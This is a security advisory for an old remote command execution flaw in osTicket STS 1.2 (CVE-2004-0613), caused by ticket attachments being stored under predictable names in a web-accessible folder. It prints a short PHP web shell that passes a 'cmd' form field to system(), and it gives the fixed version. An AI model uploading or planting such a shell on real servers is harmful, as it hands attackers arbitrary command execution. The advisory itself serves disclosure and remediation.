OSTicket New Ticket Attachment Remote Command Execution Vulnerability

Bugtraq ID:	10586
Class:	Design Error
CVE:	CVE-2004-0613
Remote:	Yes
Local:	No
Published:	Jun 21 2004 12:00AM
Updated:	Jul 12 2009 05:16AM
Credit:	Discovery of this vulnerability is credited to Guy Pearce <[email protected]>.
Vulnerable:	osTicket osTicket STS 1.2 + cPanel cPanel 9.1 .0-R85 + cPanel cPanel 9.1 + cPanel cPanel 9.0 + cPanel cPanel 8.0 + cPanel cPanel 7.0
Not Vulnerable:

OSTicket New Ticket Attachment Remote Command Execution Vulnerability

osTicket is reported prone to a remote command execution vulnerability. The issue is reported to present itself because attachments submitted as a part of a support ticket request are stored with a predictable name in a known web accessible location.

OSTicket New Ticket Attachment Remote Command Execution Vulnerability

There is no exploit required, the following exploit script is available:

<?PHP
echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>";
if (!$cmd)die;
system($cmd);
?>

OSTicket New Ticket Attachment Remote Command Execution Vulnerability

Solution:
osTicket has released a security advisory and updated dealing with this issue. Users are advised to update as soon as possible.


osTicket osTicket STS 1.2

• osTicket osticket_1.2.7.zip
  http://www.osticket.com/downloads/osticket_1.2.7.zip

OSTicket New Ticket Attachment Remote Command Execution Vulnerability

References:

• osTicket Homepage (osTicket)
  
• osTicket Security Alert (osTicket)
  
• Multiple osTicket exploits! (Guy Pearce )